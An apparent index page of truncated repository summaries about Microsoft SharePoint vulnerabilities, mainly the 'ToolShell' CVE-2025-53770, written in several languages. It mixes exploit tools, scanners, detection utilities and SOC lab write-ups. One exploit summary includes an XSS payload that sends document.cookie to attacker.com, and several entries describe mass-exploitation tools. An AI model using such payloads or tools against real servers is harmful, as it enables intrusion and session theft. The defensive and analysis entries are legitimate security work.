CVE-2025-53770

Divine Absolute - CVE-2025-53770 익스플로잇 도구 개요 Divine Absolute 는 CVE-2025-53770 을 표적으로 하는 정교한 위저드 기반 Python 익스플로잇 도구입니다. 이 취약점은 온프레미스 Microsoft SharePoint Server2016, 2019, Subscription Edition에서 발생하는 치명적인CVSS 9.8 인증되지 않은 원격 코드 실행RCE 취약점입니다. 2025년 7월 19일 제로데이로 공개된 이 취약점은 /layouts/15/ToolPane.aspx에서...

ZeroPoint

ZeroPoint.ps1 ⚠ CVE-2025-53770 のゼロデイ脆弱性（ Microsoft SharePoint Server ）の悪用を検出し緩和するための防御的なPowerShellユーティリティです。 🔍 機能概要 このPowerShellスクリプトは以下のことを行います： 侵害の兆候（不審な .aspx ウェブシェルなど）を検出 ULSログを解析してデシリアライゼーション/スプーフィング活動を特定 AMSIやMicrosoft Defenderなどの重要なセキュリティ設定を確認 外部インターフェースを切断する オプションの緊急緩和策 を提供 🚨 CVE 詳細 CVE:...

sharepoint-toolshell-cve-2025-53770

SharePoint "ToolShell" RCE 익스플로잇 CVE-2025-53770 개요 CVE-2025-53770 는 Microsoft SharePoint Server 2016, 2019 및 Subscription Edition온-프레미스 전용, SharePoint Online 제외에 영향을 미치는 치명적인 원격 코드 실행RCE 취약점입니다. 공격자는 논리적 결함과 안전하지 않은 역직렬화를 악용하여 인증을 우회하고 서버를 완전히 장악할 수 있습니다. "ToolShell"로 알려진 이 익스플로잇 체인은 실제 공격에서...

Microsoft SharePoint Server - WS-Federation BinaryFormatter Deserialization RCE

Microsoft SharePoint Server 2016, 2019, Subscription Edition = 2026.3.1 contains a remote code execution vulnerability in the WS-Federation passive sign-in endpoint /trust/default.aspx. The SharePoint authentication module SPFederationAuthenticationModuleV2 uses a deflate-only...

CVE-2025-53770-Scanner

CVE-2025-53770 Scanner 제작: DanSec SharePoint의 심각한 취약점 CVE-2025-53770에 대한 잠재적 노출을 식별하는 간단하고 효과적인 정찰 도구입니다. !Warning 이 도구는 승인된 테스트 목적으로만 사용됩니다. 저자DanSec는 무단 스캔 또는 사용으로 인한 오용이나 피해에 대해 책임을 지지 않습니다. 이 도구를 사용하기 전에 모든 도메인 또는 서비스를 스캔할 수 있는 명시적 권한이 있는지 확인하세요. CVE-2025-53770 정보 CVE-2025-53770 "ToolShell" 는...

CVE-2026-50522

CVE-2026-50522 Poc : SharePoint 역직렬화 RCE SecurityContextToken 쿠키 역직렬화를 통한 SharePoint 서버 비인증 원격 코드 실행 CVE-2026-50522를 대상으로 하는 대량 스캔 익스플로잇으로, 온프레미스 Microsoft SharePoint Server를 대상으로 합니다. WS-Federation 엔드포인트 /trust/default.aspx 에서 안전하지 않은 BinaryFormatter 역직렬화를 악용하여 조작된 SecurityContextToken 쿠키를 통해 비인...

CVE-2025-53770

SharePoint ToolPane RCE 익스플로잇 SharePoint ToolPane 취약점 테스트를 위한 보안 연구 툴킷 Overview • Features • Getting started • Usage • Project structure 이 저장소는 SharePoint ToolPane 취약점CVE-2025-53770에 대한 개념 증명 익스플로잇 및 분석 도구를 포함합니다. 이 프로젝트는 Microsoft SharePoint Server에 영향을 미치는 인증 우회 및 안전하지 않은 역직렬화 취약점을 포함한 익스플로잇 기술...

CVE-2025-53770-SharePoint-Deserialization-RCE-PoC

CVE-2025-53770-SharePoint-Deserialization-RCE-PoC Microsoft SharePoint Server의 심각한 취약점으로, 신뢰할 수 없는 데이터의 역직렬화를 통해 인증되지 않은 원격 코드 실행이 가능합니다. Microsoft는 현재 공격이 이루어지고 있음을 인지하고 있으므로 즉시 CVE 완화 조치를 적용하십시오. 심각도: 치명적. 명령어 curl -sk -X POST...

CVE-2024-30043-XXE

CVE-2024-30043-XXE 감사 현재 이 취약점의 영향은 제한적이지만, 영리한 우회 아이디어를 제공해 준 https://x.com/chudyPB 님께 감사드립니다. https://x.com/chudyPB https://www.zerodayinitiative.com/blog/2024/5/29/cve-2024-30043-abusing-url-parsing-confusion-to-exploit-xxe-on-sharepoint-server-and-cloud...

SOC227-Microsoft-SharePoint-Server-Elevation-of-Privilege-Possible-CVE-2023-29357-Exploitation

SOC227 - Microsoft SharePoint Server 권한 상승 CVE-2023-29357 악용 CVE-2023-29357 은 다른 취약점과 결합될 경우 원격 코드 실행으로 이어질 수 있는 중요한 권한 상승 취약점입니다. 이 취약점의 CVSS 점수는 9.8 심각 입니다. 이벤트 정보 EventID : 189 이벤트 시간 : 2023년 10월 6일, 오후 8시 5분 규칙 : SOC227 - Microsoft SharePoint Server 권한 상승 - 가능한 CVE-2023-29357 악용 수준 : 보안 분석가...

CVE-2025-53770-Checker

CVE-2025-53770-Checker 온프레미스 SharePoint 서버가 CVE-2025-53770에 취약한지 확인합니다 SharePoint Server의 CVE-2025-53770 취약점에 대한 비침습적 탐지기 개발: Division81 Grupo Oruss의 윤리적 해커 팀 기술 설명 CVE-2025-53770 은 온프레미스 SharePoint의 ViewState 관리자에서 .NET 역직렬화의 치명적인 결함으로, 인증 없이 RCE를 허용합니다 :contentReferenceoaicite:1index=1. 익스플로잇은...

sharepoint-toolshell-micro-postmortem

사고 마이크로 포스트모템 — Microsoft SharePoint 온-프레미스 “ToolShell” 캠페인 이 키트는 온-프레미스 Microsoft SharePoint Server를 대상으로 한 2025년 중반의 “ToolShell” 제로데이 캠페인을 분류합니다. SharePoint Online은 범위 밖입니다. 외부 데이터에 의존하지 않고 종단 간 재현 가능한 헌트, 커뮤니케이션, 수치를 제공합니다. 이 저장소가 존재하는 이유: 재현 가능한 탐지와 정렬된 경영진 커뮤니케이션으로 분석가 분류 작업을 가속화합니다. 범위 및 가정...

LetsDefend--SOC-342-CVE-2025-53770-SharePoint-Exploit-ToolShell

LetsDefend--SOC-342-CVE-2025-53770-SharePoint-Exploit-ToolShell 소개 저는 LetsDefend 랩에서 ToolShellCVE-2025-53770이라고 하는 SharePoint 제로데이를 분석했습니다. 악성 POST 요청이 인증을 우회하고, PowerShell을 실행해 MachineKeySection 키를 탈취하고, payload.exe를 컴파일하고, 웹 셸spinstall0.aspx을 드롭하는 실제 제로데이 공격을 재현했습니다. 모든 것을 기록하고, 동작을 분석하고, 호스트를...

POC-CVE-2026-56164-exploit

CVE-2026-56164 — Microsoft SharePoint Server 身份验证绕过漏洞利用工具 严重（CVSS 9.8） — 在 Microsoft SharePoint Server 中，未经身份验证即可将权限提升至场管理员 目录 概述 漏洞详情 受影响版本 架构图 项目结构 安装 扫描器使用 — 分步指南 漏洞利用工具使用 — 分步指南 载荷设计 缓解措施 免责声明 概述 CVE-2026-56164 是 Microsoft SharePoint Server 中的一个严重缺失身份验证漏洞，允许未经过身份验证的远程攻击者将权限提升至场管理员 级别。该漏洞位于...

ToolShell-CVE-2025-53770-SharePoint-Exploit-Lab-LetsDefend

ToolShell-CVE-2025-53770-SharePoint-Exploit-Lab-LetsDefend TL;DR 야, 이 LetsDefend 랩에서는 ToolShellCVE-2025-53770이라는 SharePoint 제로데이를 파고들었어. 기본적으로 악성 POST 요청이 인증을 우회하고, PowerShell을 실행하여 MachineKeySection 키를 탈취하고, payload.exe를 컴파일한 후 웹 셸spinstall0.aspx을 드롭하는 실제 공격을 모방했지. 모든 것을 기록하고, 행동을 분석하고, 호스트를 격리했...

CVE-2023-29357-Check

CVE-2023-29357 Microsoft SharePoint Server 特権昇格の脆弱性 このスクリプトは、対象がCVE-2023-29357に対して脆弱かどうかを判定します。 使用方法 python3 script.py 免責事項 このスクリプトは教育目的のみで使用してください。事前に相互の同意がない限り、対象に対して使用しないでください。 参考 https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2023-29357...

CVE-2026-32201-exploit

概要 CVE-2026-32201 用の Python エクスプロイト - Microsoft SharePoint Server における不適切な入力検証により、認証されていないネットワークスプーフィングが可能になります C:L/I:L。 影響を受けるバージョン: SharePoint Server 2016 Enterprise、2019、Subscription Edition fetch'http://attacker.com/?c='+document.cookie" \ --endpoint /layouts/15/notify.aspx 出力例: + SharePoint...

Sharepoint-cve-2023-29375-incident-response

SOC 인시던트 분석: Microsoft SharePoint Server 권한 상승 CVE-2023-29375 Microsoft SharePoint 서버를 대상으로 한 치명적인 익스플로잇 및 열거 시도에 대한 심층 보안 조사입니다. 인시던트 개요 경보 이름: SOC227 - Microsoft SharePoint Server 권한 상승 - CVE-2023-29375 악용 가능 심각도: 치명적 날짜/시간: 2023년 10월 6일 오후 8시 5분 대상 호스트명: MS-SharePointServer 대상 IP / 포트:...

Microsoft SharePoint Server - Authentication Bypass

Improper authentication in Microsoft Office SharePoint allows an unauthorized attacker to perform spoofing over a network. id: CVE-2025-49706 info: name: Microsoft SharePoint Server - Authentication Bypass author: daffainfo severity: medium description: | Improper authentication in Microsoft Offi...

CVE-2025-49706-SharePoint-Spoofing-Vulnerability-Under-Active-Exploitation

🚨 CVE-2025-49706 – 악성 공격에 활동적으로 이용 중인 SharePoint 스푸핑 취약점 작성자: Aditya Bhatt – VAPT 전문가 | Red Teamer 📌 요약 Microsoft SharePoint이 활성 위협 아래 놓여 있습니다. CVE‑2025‑49706은 SharePoint Server의 스푸핑 취약점으로, 중간 심각도에서 실제 무기화 로 진화했으며, 변종CVE‑2025‑53770이 현재 실제 환경에서 활발히 악용되고 있습니다. 온프레미스 SharePoint 2016, 2019 또는...